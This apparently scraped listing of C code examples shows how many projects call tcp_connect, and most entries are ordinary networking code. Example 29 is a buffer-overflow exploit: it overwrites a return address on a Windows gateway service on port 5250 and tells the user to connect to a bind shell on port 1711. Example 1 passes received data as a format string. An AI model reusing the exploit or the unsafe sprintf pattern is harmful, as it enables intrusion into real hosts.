Esempio n. 1
0
int main(int argc, char **argv){

	int fd;
	int bytes_sent, bytes_recv;
	int len;
	char buffer[BUF_SIZE];
	char *msg;
	char *longbuf;
	
	if(argc != 3)
		die0("usage: ./client <destination_hostname> <remote_port>");
	
	// connect
	fd = tcp_connect(argv[1], atoi(argv[2]));
	
	// compose msg to be sent
	msg = (char *)malloc(MAX_CHARS * sizeof(char));
	strcpy(msg, "GET /index.html HTTP/1.0\nHost: ");
	strcat(msg, argv[1]);
	strcat(msg, "\r\n\r\n"); // ends in CRLF
	len = strlen(msg);
	
	if((bytes_sent = send(fd, msg, len, 0)) < 0){
		free(msg);
		die0("send error\n");
	}
	printf("sent:\n %s\n", msg);
	
	// receive into longbuf
	longbuf = (char *)malloc(SQR(MAX_CHARS) * sizeof(char));
	int index = 0;
	do{
		if((bytes_recv = recv(fd, buffer, sizeof(buffer), 0)) < 0){
			free(msg);
			free(longbuf);
			die0("recv error\n");
		}
		sprintf((char *)&longbuf[index], buffer);
		index += bytes_recv;
	}while(bytes_recv != 0 && strlen(longbuf) < SQR(MAX_CHARS));
	
	printf("received:\n %s\n", longbuf);
	
	close(fd);
	free(msg);
	free(longbuf);
	return 0;
}
Esempio n. 2
0
/******************************************************************************
 **函数名称: mon_srch_connect
 **功    能: 测试代理服务处理大并发连接的能力
 **输入参数:
 **     menu: 菜单
 **输出参数: NONE
 **返    回: 连接代理服务
 **实现描述: 
 **注意事项: 
 **作    者: # Qifeng.zou # 2014.12.27 #
 ******************************************************************************/
static int mon_srch_connect(menu_cntx_t *menu_ctx, menu_item_t *menu, void *args)
{
    char digit[256];
    int idx, num, max;
    int *fd;
    mon_cntx_t *ctx = (mon_cntx_t *)args;

    /* > 输入最大连接数 */
    fprintf(stderr, "    Max connections: ");
    scanf(" %s", digit);

    max = atoi(digit);
    fd = (int *)calloc(1, max*sizeof(int));

    /* > 连接代理服务 */
    num = 0;
    for (idx=0; idx<max; ++idx) {
        fd[idx] = tcp_connect(AF_INET, ctx->conf->search.ip, ctx->conf->search.port);
        if (fd[idx] < 0) {
            fprintf(stderr, "    errmsg:[%d] %s!\n", errno, strerror(errno));
            break;
        }
        fprintf(stdout, "    Connect success! idx:%d fd:%d\n", idx, fd[idx]);
        ++num;
    }

#if 1
    /* 发送搜索数据 */
    for (idx=0; idx<num; ++idx) {
        mon_srch_send_rep(fd[idx], "爱我中华");
    }
#endif

    if (num <= 0) {
        return 0;
    }

    Sleep(5);

    /* 关闭网络连接 */
    for (idx=0; idx<num; ++idx) {
        CLOSE(fd[idx]);
    }

    FREE(fd);

    return 0;
}
Esempio n. 3
0
DWORD initialize_deliver( struct audit_profile *audit )
{
	if((audit->connected_sock = tcp_connect(audit->host, audit->port)) == -1)
	{
		if(NETIO_DEBUG)
		fprintf(stderr,
			
			"[%08X] Error: Failed to make TCP connection to remote service\n"
		
		,audit->connected_sock);
	
		return(-1);
	}

	return(0);
}
Esempio n. 4
0
int tcp_client_start(char* ip, u_short port, char* send_buf = NULL)
{
	SOCKET sock;
	if(send_buf == NULL)
	{
		send_buf = (char*)malloc(64);
		memset(send_buf, 'T', 64);
	}

	socket_init();
	tcp_socket(&sock);
	tcp_connect(&sock, ip, port);
	tcp_send(&sock, send_buf, 64);
	
	return 0;
}
Esempio n. 5
0
/* connect remote SMTP server */
static void
smtp_connect(smtp_t * smtp)
{
	enum connect_result status;

	if ((smtp->fd = socket(global_data->smtp_server.ss_family, SOCK_STREAM, IPPROTO_TCP)) == -1) {
		DBG("SMTP connect fail to create socket.");
		free_smtp_all(smtp);
		return;
	}

	status = tcp_connect(smtp->fd, &global_data->smtp_server);

	/* Handle connection status code */
	thread_add_event(master, SMTP_FSM[status].send, smtp, smtp->fd);
}
Esempio n. 6
0
int EthernetClient::connect(IPAddress ip, uint16_t port, unsigned long timeout) {
	ip_addr_t dest;
	dest.addr = ip;

	cs->cpcb = tcp_new();
	cs->read = 0;
	cs->p = NULL;

	if (cs->cpcb == NULL) {
		return false;
	}

	tcp_arg((tcp_pcb*)cs->cpcb, this);
	tcp_recv((tcp_pcb*)cs->cpcb, do_recv);
	tcp_err((tcp_pcb*)cs->cpcb, do_err);

	uint8_t val = tcp_connect((tcp_pcb *)cs->cpcb, &dest, port, do_connected);

	if (val != ERR_OK) {
		return false;
	}

	/* Wait for the connection.
	 * Abort if the connection does not succeed within the prescribed timeout */
	unsigned long then = millis();

	while (!_connected) {
		unsigned long now = millis();
		delay(10);
		if (now - then > timeout) {
			tcp_close((tcp_pcb*)cs->cpcb);
			cs->cpcb = NULL;
			return false;
		}
	}

	if (cs->cpcb->state != ESTABLISHED) {
		_connected = false;
		tcp_close((tcp_pcb*)cs->cpcb);
		cs->cpcb = NULL;
		return false;
	}

	/* Poll to determine if the peer is still alive */
	tcp_poll((tcp_pcb*)cs->cpcb, do_poll, 10);
	return _connected;
}
Esempio n. 7
0
int http_download_photo(char *path, char *email)
{
	struct connection *conn;
	struct connect_options conn_opts = {0};
	int error_code;
	int rc;

	if (!open_socket_lib()) return 0;

	rc = 0;

	if ((conn = tcp_connect("simplemail.sourceforge.net", 80, &conn_opts, &error_code)))
	{
		char *line;
		int download = 0;

		tcp_write(conn,"GET /gallery_get_image.php?",sizeof("GET /gallery_get_image.php?")-1);
		tcp_write(conn,email,strlen(email));
		tcp_write(conn," HTTP/1.0\r\nhost: simplemail.sourceforge.net\r\n\r\n",sizeof(" HTTP/1.0\r\nhost: simplemail.sourceforge.net\r\n\r\n")-1);

		while ((line = tcp_readln(conn)))
		{
			if (!mystrnicmp("Content-Type: image/",line,20)) download = 1;
			if (line[0] == 10 && line[1] == 0) break;
		}

		if (download)
		{
			FILE *fp = fopen(path,"wb");
			if (fp)
			{
				int got;
				char buf[1024];
				while ((got = tcp_read(conn,buf,1024))>0)
				{
					fwrite(buf,1,got,fp);
				}
				rc = 1;
				fclose(fp);
			}
		}

		tcp_disconnect(conn);
	}
	close_socket_lib();
	return rc;
}
Esempio n. 8
0
void on_accept(tcp_client *client) {
    conn_peer *cpeer = (conn_peer*)ohmalloc(sizeof(conn_peer));

    tcp_client *rclient = (tcp_client*)ohmalloc(sizeof(tcp_client));
    tcp_client_init(rclient, &serv_addr, client->loop_on, 0, NULL, 0);
    tcp_connection_set_on_connect(rclient, on_connect);
    tcp_connection_set_on_close(rclient, on_close);
    tcp_connection_set_on_read(rclient, on_read);
    tcp_connect(rclient);

    client->data = (void*)cpeer;
    rclient->data = (void*)cpeer;
    cpeer->conn[0] = client;
    cpeer->conn[1] = rclient;
    cpeer->status[0] = ON;
    cpeer->status[1] = OFF;
}
Esempio n. 9
0
static void client ()
{
    sock_data_t self;
    char buffer[BUFLEN];
    int e;

    sock_data_init(&self, "127.0.0.1", 9000);

    if (tcp_connect(&self, &e)) {
        strerror_r(e, buffer, BUFLEN);
        fprintf(stderr, "Connecting to server: %s\n", buffer);
        return;
    }

    write(self.fd, "hello world", strlen("hello world"));
    close(self.fd);
}
Esempio n. 10
0
int
tcp_connect_thread(thread_t * thread)
{
	SOCK *sock_obj = THREAD_ARG(thread);

	if ((sock_obj->fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
		DBG("WEB connection fail to create socket.\n");
		return 0;
	}

	sock->status = tcp_connect(sock_obj->fd, req->addr_ip, req->addr_port);

	/* handle tcp connection status & register check worker thread */
	tcp_connection_state(sock_obj->fd, sock_obj->status, thread, tcp_check_thread,
			     HTTP_CNX_TIMEOUT);
	return 0;
}
Esempio n. 11
0
File: ftp.c Progetto: a710128/axel
/* Open a data connection. Only Passive mode supported yet, easier..	*/
int ftp_data( ftp_t *conn )
{
	int i, info[6];
	char host[MAX_STRING];
	
	/* Already done?						*/
	if( conn->data_fd > 0 )
		return( 0 );
	
/*	if( conn->ftp_mode == FTP_PASSIVE )
	{
*/		ftp_command( conn, "PASV" );
		if( ftp_wait( conn ) / 100 != 2 )
			return( 0 );
		*host = 0;
		for( i = 0; conn->message[i]; i ++ )
		{
			if( sscanf( &conn->message[i], "%i,%i,%i,%i,%i,%i",
			            &info[0], &info[1], &info[2], &info[3],
			            &info[4], &info[5] ) == 6 )
			{
				sprintf( host, "%i.%i.%i.%i",
				         info[0], info[1], info[2], info[3] );
				break;
			}
		}
		if( !*host )
		{
			sprintf( conn->message, _("Error opening passive data connection.\n") );
			return( 0 );
		}
		if( ( conn->data_fd = tcp_connect( host,
			info[4] * 256 + info[5], conn->local_if ) ) == -1 )
		{
			sprintf( conn->message, _("Error opening passive data connection.\n") );
			return( 0 );
		}
		
		return( 1 );
/*	}
	else
	{
		sprintf( conn->message, _("Active FTP not implemented yet.\n" ) );
		return( 0 );
	} */
}
Esempio n. 12
0
/*-----------------------------------------------------------------------------------*/
static void
connect(void)
{
  uip_ipaddr_t addr, *addrptr;
  uint16_t port;
  char *cptr;
  struct uip_conn *conn;

  /* Find the first space character in host and put a zero there
     to end the string. */
  for(cptr = telnethost; *cptr != ' ' && *cptr != 0; ++cptr);
  *cptr = 0;

  addrptr = &addr;
#if UIP_UDP
  if(uiplib_ipaddrconv(telnethost, &addr) == 0) {
    addrptr = resolv_lookup(telnethost);
    if(addrptr == NULL) {
      resolv_query(telnethost);
      show("Resolving host...");
      return;
    }
  }
#else /* UIP_UDP */
  uiplib_ipaddrconv(telnethost, &addr);
#endif /* UIP_UDP */

  port = 0;
  for(cptr = telnetport; *cptr != ' ' && *cptr != 0; ++cptr) {
    if(*cptr < '0' || *cptr > '9') {
      show("Port number error");
      return;
    }
    port = 10 * port + *cptr - '0';
  }


  conn = tcp_connect(addrptr, uip_htons(port), &ts_appstate);
  if(conn == NULL) {
    show("Out of memory error");
    return;
  }

  show("Connecting...");

}
Esempio n. 13
0
File: imap.c Progetto: rra/lbcd
/*
 * Given a host and timeout, probe the IMAP server.  The port is not
 * configurable.  The host defaults to localhost.  This closes down the IMAP
 * connection nicely rather than just closing the connection.
 */
static int
probe_imap(const char *host, int timeout)
{
    socket_type sd;
    int retval = 0;

    sd = tcp_connect(host ? host : "localhost", "imap", 143);
    if (sd == INVALID_SOCKET)
        return -1;
    else {
        retval = lbcd_check_reply(sd, timeout, "* OK");
        /* Only for clean shutdown, don't care about failure. */
        if (socket_write(sd, "tag logout\r\n", 12) < 0) {}
        socket_close(sd);
    }
    return retval;
}
int PubSub_mbed::connect(char *id) {

    err_t err= tcp_connect(this->pcb, &server, 1883, tcp_fun);

    if(err != ERR_OK) {
        printf("Connection Error : %d\r\n",err);
        return -1;
    } else {
        //printf("Connection sucessed..\r\n");
    }

    wait(1);
    tcp_accept(this->pcb, tcp_fun);
    device_poll();

    // variable header
    uint8_t var_header[] = {0x00,0x06,0x4d,0x51,0x49,0x73,0x64,0x70,0x03,0x02,0x00,KEEPALIVE/500,0x00,strlen(id)};

    // fixed header: 2 bytes, big endian
    uint8_t fixed_header[] = {MQTTCONNECT,12+strlen(id)+2};

    char packet[sizeof(fixed_header)+sizeof(var_header)+strlen(id)];

    memset(packet,0,sizeof(packet));
    memcpy(packet,fixed_header,sizeof(fixed_header));
    memcpy(packet+sizeof(fixed_header),var_header,sizeof(var_header));
    memcpy(packet+sizeof(fixed_header)+sizeof(var_header),id,strlen(id));

    //Send MQTT identification message to broker.
    err = tcp_write(this->pcb, (void *)packet, sizeof(packet), 1);

    if (err == ERR_OK) {
        tcp_output(this->pcb);
        //printf("Identificaiton message sended correctlly...\r\n");
        return 1;
    } else {
        printf("Failed to send the identification message to broker...\r\n");
        printf("Error is: %d\r\n",err);
        tcp_close(this->pcb);
        return -2;
    }
    printf("\r\n");

    device_poll();
    return 1;
}
Esempio n. 15
0
/**
  * connect - the function will connect loacl socket to target IP device
  *                    
  * @param sockfd   the handle of the socket
  * @param addr     structure filled of target ip address and port
  * @param addrlen  the length of the target addr structure
  *
  * @return the result
  */
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
{
    struct socket *socket = (struct socket *)sockfd;
    int ret = -1;
   
    if (SOCK_STREAM == socket->type)
    {
         ret = tcp_connect(socket->pcb, (struct ip_addr *)&addr->sin_addr, addr->sin_port, NULL);
    }
    else if (SOCK_PACKET == socket->type)
    {
         ret = udp_connect(socket->pcb, (struct ip_addr *)&addr->sin_addr, addr->sin_port); 
         udp_recv(socket->pcb, socket_udp_recv, socket);         
    }
  
    return ret;
}
Esempio n. 16
0
/**
 * Connect a pcb contained inside a netconn
 * Called from netconn_connect.
 *
 * @param msg the api_msg_msg pointing to the connection and containing
 *            the IP address and port to connect to
 */
void
do_connect(struct api_msg_msg *msg)
{
  if (msg->conn->pcb.tcp == NULL) {
    sys_sem_signal(msg->conn->op_completed);
    return;
  }

  switch (NETCONNTYPE_GROUP(msg->conn->type)) {
#if LWIP_RAW
  case NETCONN_RAW:
    msg->conn->err = raw_connect(msg->conn->pcb.raw, msg->msg.bc.ipaddr);
    sys_sem_signal(msg->conn->op_completed);
    break;
#endif /* LWIP_RAW */
#if LWIP_UDP
  case NETCONN_UDP:
    msg->conn->err = udp_connect(msg->conn->pcb.udp, msg->msg.bc.ipaddr, msg->msg.bc.port);
    sys_sem_signal(msg->conn->op_completed);
    break;
#endif /* LWIP_UDP */
#if LWIP_TCP
  case NETCONN_TCP:
    msg->conn->state = NETCONN_CONNECT;
    setup_tcp(msg->conn);
    msg->conn->err = tcp_connect(msg->conn->pcb.tcp, msg->msg.bc.ipaddr, msg->msg.bc.port,
                                 do_connected);

    // [MS_CHANGE] - Make the connect be asynchronous by returning ERR_INPROGRESS
    // and signalling operation complete.
    if(msg->conn->err == ERR_OK)
    {
        msg->conn->err = ERR_INPROGRESS;
    }
    sys_sem_signal(msg->conn->op_completed);

    /* sys_sem_signal() is called from do_connected (or err_tcp()),
     * when the connection is established! */
    break;
#endif /* LWIP_TCP */
  default:
    LWIP_ERROR("Invalid netconn type", 0, do{ msg->conn->err = ERR_VAL;
      sys_sem_signal(msg->conn->op_completed); }while(0));
    break;
  }
}
Esempio n. 17
0
int ClientBenchmarkConnections(WOLFSSL_CTX* ctx, char* host, word16 port,
    int doDTLS, int benchmark, int resumeSession)
{
    /* time passed in number of connects give average */
    int times = benchmark;
    int loops = resumeSession ? 2 : 1;
    int i = 0;
    WOLFSSL_SESSION* benchSession = NULL;

    while (loops--) {
        int benchResume = resumeSession && loops == 0;
        double start = current_time(), avg;

        for (i = 0; i < times; i++) {
            SOCKET_T sockfd;
            WOLFSSL* ssl = wolfSSL_new(ctx);
            if (ssl == NULL)
                err_sys("unable to get SSL object");

            tcp_connect(&sockfd, host, port, doDTLS, ssl);

            if (benchResume)
                wolfSSL_set_session(ssl, benchSession);
            wolfSSL_set_fd(ssl, sockfd);
            if (wolfSSL_connect(ssl) != SSL_SUCCESS)
                err_sys("SSL_connect failed");

            wolfSSL_shutdown(ssl);
            if (i == (times-1) && resumeSession) {
                benchSession = wolfSSL_get_session(ssl);
            }
            wolfSSL_free(ssl);
            CloseSocket(sockfd);
        }
        avg = current_time() - start;
        avg /= times;
        avg *= 1000;   /* milliseconds */
        if (benchResume)
            printf("wolfSSL_resume  avg took: %8.3f milliseconds\n", avg);
        else
            printf("wolfSSL_connect avg took: %8.3f milliseconds\n", avg);
    }

    return EXIT_SUCCESS;
}
Esempio n. 18
0
/** Start TCP connection back to the client (either parallel or after the
 * receive test has finished.
 */
static err_t
lwiperf_tx_start(lwiperf_state_tcp_t* conn)
{
  err_t err;
  lwiperf_state_tcp_t* client_conn;
  struct tcp_pcb* newpcb;
  ip_addr_t remote_addr;
  u16_t remote_port;

  client_conn = (lwiperf_state_tcp_t*)LWIPERF_ALLOC(lwiperf_state_tcp_t);
  if (client_conn == NULL) {
    return ERR_MEM;
  }
  newpcb = tcp_new();
  if (newpcb == NULL) {
    LWIPERF_FREE(lwiperf_state_tcp_t, client_conn);
    return ERR_MEM;
  }

  memcpy(client_conn, conn, sizeof(lwiperf_state_tcp_t));
  client_conn->base.server = 0;
  client_conn->server_pcb = NULL;
  client_conn->conn_pcb = newpcb;
  client_conn->time_started = sys_now(); /* TODO: set this again on 'connected' */
  client_conn->poll_count = 0;
  client_conn->next_num = 4; /* initial nr is '4' since the header has 24 byte */
  client_conn->bytes_transferred = 0;
  client_conn->settings.flags = 0; /* prevent the remote side starting back as client again */

  tcp_arg(newpcb, client_conn);
  tcp_sent(newpcb, lwiperf_tcp_client_sent);
  tcp_poll(newpcb, lwiperf_tcp_poll, 2U);
  tcp_err(newpcb, lwiperf_tcp_err);

  ip_addr_copy(remote_addr, conn->conn_pcb->remote_ip);
  remote_port = (u16_t)htonl(client_conn->settings.remote_port);

  err = tcp_connect(newpcb, &remote_addr, remote_port, lwiperf_tcp_client_connected);
  if (err != ERR_OK) {
    lwiperf_tcp_close(client_conn, LWIPERF_TCP_ABORTED_LOCAL);
    return err;
  }
  lwiperf_list_add(&client_conn->base);
  return ERR_OK;
}
Esempio n. 19
0
static int gather_relay2(struct candidate *cand, int turn_proto)
{
	struct ice_lcand *base = cand->base;
	int err;

	switch (turn_proto) {

	case IPPROTO_UDP:

		/* the TURN-client must be created using the UDP-socket
		 * of the base candidate
		 */
		err = turnc_alloc(&cand->turnc, NULL, turn_proto,
				  base->us, LAYER_TURN, &cand->turn_srv,
				  cand->ag->cli->param.username,
				  cand->ag->cli->param.password,
				  TURN_DEFAULT_LIFETIME, turnc_handler, cand);
		if (err) {
			re_printf("turn client: %m\n", err);
		}
		break;

	case IPPROTO_TCP:

		re_printf("TURN-TCP -- connecting to %J ..\n",
			  &cand->turn_srv);

		/* NOTE: we are connecting _from_ an ephemeral port,
		 *       since we might have Zero TCP-candidates
		 */
		err = tcp_connect(&cand->tc, &cand->turn_srv,
				  tcp_estab_handler, tcp_recv_handler,
				  tcp_close_handler, cand);
		if (err) {
			re_printf("tcp_connect error (%m)\n", err);
			return err;
		}
		break;

	default:
		return EPROTONOSUPPORT;
	}

	return 0;
}
Esempio n. 20
0
// ---------------------------------------------------------------------------
// Enviar mensaje por puerto TCP con informacion de CliTcp
//
UINT8 TCP_SendCliTcpBuff(UINT8 * Buff, UINT16 BufLen)
{
  UINT16  i;
  UINT16  len;
  UINT8   TimerGetStateId;
  
//  CliTcpIpChar[0] = 192;
//  CliTcpIpChar[1] = 168;
//  CliTcpIpChar[2] = 0;
//  CliTcpIpChar[3] = 32;
 	   
  if (tcp_getstate(TcpCliTcpSoch) != TCP_STATE_CONNECTED){
  
      if ( tcp_connect (TcpCliTcpSoch, CliTcpIp, (UINT16)(CliTcpSockPort), 0 ) == (-1)){ // (UINT16)(DNP_LOCAL_PORT) 
        return 0x01;
      }
  }

  if (tcp_checksend(TcpCliTcpSoch) < 0) 
  {
    TcpWhileFlag = 0x01;
    TimerGetStateId = TMR_SetTimer ( TCP_WAITFORSEND_TOUT , OS_NOT_PROC, TCP_StopWhileProc, FALSE);
    while (tcp_checksend(TcpCliTcpSoch) < 0)
    {
       if (!TcpWhileFlag) return 0x01;    // Cuando vence el timer se resetea TcpWhileFlag
    }
    TMR_FreeTimer ( TimerGetStateId );
  }
  
  len = 0;
  for( i=0 ; i < BufLen ; i++ ){
	  net_buf[TCP_APP_OFFSET+len] = *Buff;
	  Buff++;
	  len++;
	}

  if(tcp_send(TcpCliTcpSoch, &net_buf[TCP_APP_OFFSET], NETWORK_TX_BUFFER_SIZE - TCP_APP_OFFSET, len) == len) {
	    DEBUGOUT("TCP: bytes reply sent!\r\n");
	}
  else {
      DEBUGOUT("TCP: error occured while trying to send data!\r\n");
	}

	return 0x00;
}
Esempio n. 21
0
int nego_tcp_connect(NEGO *nego)
{
	if (nego->tcp_connected == 0)
	{
		if (tcp_connect(nego->iso->tcp, nego->hostname, nego->port) == False)
		{
			nego->tcp_connected = 0;
			return 0;
		}
		else
		{
			nego->tcp_connected = 1;
			return 1;
		}
	}

	return 1;
}
static socket_error_t lwipv4_socket_connect(struct socket *sock, const struct socket_addr *address, const uint16_t port)
{
    err_t err = ERR_OK;
    if (!socket_addr_is_ipv4(address)) {
        return SOCKET_ERROR_BAD_ADDRESS;
    }
    switch (sock->family){
    case SOCKET_DGRAM:
        err = udp_connect((struct udp_pcb *)sock->impl, (void*)socket_addr_get_ipv4_addrp(address), port);
        break;
    case SOCKET_STREAM:
        err = tcp_connect((struct tcp_pcb *)sock->impl, (void*)socket_addr_get_ipv4_addrp(address), port, irqConnect);
        break;
    default:
        return SOCKET_ERROR_BAD_FAMILY;
    }
    return lwipv4_socket_error_remap(err);
}
Esempio n. 23
0
// we must reconnect if the login list isnt completed...
int telnet_disconnect(Modules *mptr, Connection *cptr, char *buf, int size) {
    CustomState *Cstate = CustomState_Ptr(cptr);
    Connection *conn = cptr;
    
    // close current fd..
    close(cptr->fd);
    cptr->fd = 0;
    
    // now attempt to reuse the Connection structure (so we keep our state with usernames/passwords)
    if (Cstate->complete || tcp_connect(mptr, cptr->list, cptr->addr, cptr->port, &conn) == NULL) {
        // returning 0 means it will get removed (since its during disconnect) 
        //ConnectionBad(cptr);
        return 0;
    }
    
    // returning 1 saves the structure from being removed
    return 1;
}
Esempio n. 24
0
static double
get_tcp_bw(struct sockaddr_in *addr, const int count)
{
    double diff;
    struct timeval t1, t2;

    gettimeofday(&t1, NULL);
    tcp_connect(addr, count);
    gettimeofday(&t2, NULL);

    diff = sub_timeval(&t1, &t2);

    printf("diff time %f\n", diff);

    diff = ((double)count)/(diff*BUFSIZE);
    printf("bw %f MB\n", diff);
    return diff;
}
Esempio n. 25
0
static void tcp_connect_cb(void *ctx_p)
{
    struct socket_t *socket_p = ctx_p;
    const struct inet_addr_t *remote_addr_p;
    ip_addr_t ip;

    remote_addr_p = socket_p->input.cb.args_p;
    inet_ip_to_lwip_ip(&ip, &remote_addr_p->ip);
    socket_p->output.cb.state = STATE_CONNECT;

    if (tcp_connect(socket_p->pcb_p,
                    &ip,
                    remote_addr_p->port,
                    on_tcp_connected) != ERR_OK) {
        socket_p->output.cb.state = STATE_IDLE;
        resume_thrd(socket_p->input.cb.thrd_p, -1);
    }
}
Esempio n. 26
0
File: usbip.c Progetto: Shmuma/usbip
static void show_exported_devices(char *host)
{
	int ret;
	SOCKET sockfd;

	sockfd = tcp_connect(host, USBIP_PORT_STRING);
	if (INVALID_SOCKET == sockfd){
		info("- %s failed", host);
		return;
	}
	info("- %s", host);

	ret = query_exported_devices(sockfd);
	if (ret < 0) {
		err("query");
	}
	closesocket(sockfd);
}
Esempio n. 27
0
/*
 * Initiate connection to peer.
 * Create a template for use in transmissions on this connection.
 * Enter SYN_SENT state, and mark socket as connecting.
 * Start keep-alive timer, and seed output sequence space.
 * Send initial segment on connection.
 */
static void
tcp_usr_connect(netmsg_t msg)
{
	struct socket *so = msg->connect.base.nm_so;
	struct sockaddr *nam = msg->connect.nm_nam;
	struct thread *td = msg->connect.nm_td;
	int error = 0;
	struct inpcb *inp;
	struct tcpcb *tp;
	struct sockaddr_in *sinp;

	COMMON_START(so, inp, 0);

	/*
	 * Must disallow TCP ``connections'' to multicast addresses.
	 */
	sinp = (struct sockaddr_in *)nam;
	if (sinp->sin_family == AF_INET
	    && IN_MULTICAST(ntohl(sinp->sin_addr.s_addr))) {
		error = EAFNOSUPPORT;
		goto out;
	}

	if (!prison_remote_ip(td, (struct sockaddr*)sinp)) {
		error = EAFNOSUPPORT; /* IPv6 only jail */
		goto out;
	}

	tcp_connect(msg);
	/* msg is invalid now */
	return;
out:
	if (msg->connect.nm_m) {
		m_freem(msg->connect.nm_m);
		msg->connect.nm_m = NULL;
	}
	if (msg->connect.nm_flags & PRUC_HELDTD)
		lwkt_rele(td);
	if (error && (msg->connect.nm_flags & PRUC_ASYNC)) {
		so->so_error = error;
		soisdisconnected(so);
	}
	lwkt_replymsg(&msg->lmsg, error);
}
Esempio n. 28
0
int main(int argc, char *argv[])
{
  char buffer[1024];
  int s;
  int listener;
  struct sockaddr_in addr;
  int port;
  size_t len;

  memset(buffer, 0, 1024);

  winsock_initialize();

  s = tcp_connect("www.google.ca", 80);
  if(s < 0)
    DIE("Fail");
  tcp_send(s, "GET / HTTP/1.0\r\nHost: www.google.com\r\n\r\n", 41);
  tcp_recv(s, buffer, 1024);
  tcp_close(s);

  printf("%s\n", buffer);

  printf("Listening on TCP/6666\n");
  listener = tcp_listen("0.0.0.0", 6666);
  s = tcp_accept(listener, &addr, &port);

  if(s < 0)
    DIE("Fail");

  printf("Connection accepted from %s:%d\n", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));

  memset(buffer, 0, 1024);
  strcpy(buffer, "HELLO!");
  len = 7;
  while(len > 0 && tcp_send(s, buffer, len) >= 0)
  {
    memset(buffer, 0, 1024);
    len = tcp_recv(s, buffer, 1024);
    printf("Received: %s [%d]\n", buffer, len);
  }

  printf("%s\n", buffer);
  return 1;
}
Esempio n. 29
0
/*Just supply a target ./caigw-win32 hostname */
int main(int argc, char *argv[])
{
char buffer[MAXSIZE+1];
int i = 0;
int sclen = sizeof(sc), sock = 0;

if(!argv[1])
return 0;

memset(buffer,'\x90',MAXSIZE/2);

memcpy(buffer,"GET",3);

for(i=3;i<24;i++)
memcpy(buffer+i," ",1);
for(i=21;i<423;i++)
buffer[i] = 'A';

/* XP SP2*/ 
//memcpy(buffer + 423+25,"\xdd\x10\x12\x12",4);
/*W2ksp4 */
memcpy(buffer + 422+25,"\xdd\x10\x12\x12",4);

memcpy(buffer + 460,sc,sclen - 1);
memcpy(buffer + (460 + sclen)," HTTP/1.0\r\n\r\n\r\n",16);
buffer[460+sclen+20] = '\0';

if( (sock = tcp_connect(argv[1],5250)) != -1 )
{
int bytes = 0;

printf("[~] Sending request... \n");
bytes = send(sock,buffer,strlen(buffer),0);
printf("[!] Sent [%d] bytes\n",bytes);
}
else 
return -1;

close(sock);
sleep (2);

printf("[@] Now telnet to port 1711\n");
return 0;
}
Esempio n. 30
0
int
main(int argc, char **argv)
{
	int sock;
	struct config_t config;
	struct buffer_t buffer;
	
	/* initialize buffer */
	buffer_init(&buffer);
	
	/* parse arguments and config file */
	if (setup(&config, argc, argv) != SETUP_OK) {
		usage(stderr);
		return EX_USAGE;
	}
	
	/* ask password if none was given, but username is set */
	if (config.username && !config.password) {
		config.password = askpass_tty(PASSWORD_PROMPT);
		/* exit if unable to get password */
		if (!config.password)
			return EX_NOINPUT;
	}
	
	/* connect to proxy */
	if ((sock = tcp_connect(config.proxyname, config.proxyport)) == -1)
		return EX_UNAVAILABLE;
	
	/* tunnel setup */
	if (proxy_connect(sock, &buffer, config.hostname, config.hostport,
		config.username, config.password) != 0)
	{
		close(sock);
		return EX_UNAVAILABLE;
	}
	
	/* tunnel data (does not return on failure) */
	tunnel_handler(&buffer, config.ifd, config.ofd, sock, sock);
	
	/* cleanup */
	close(sock);
	
	return EX_OK;
}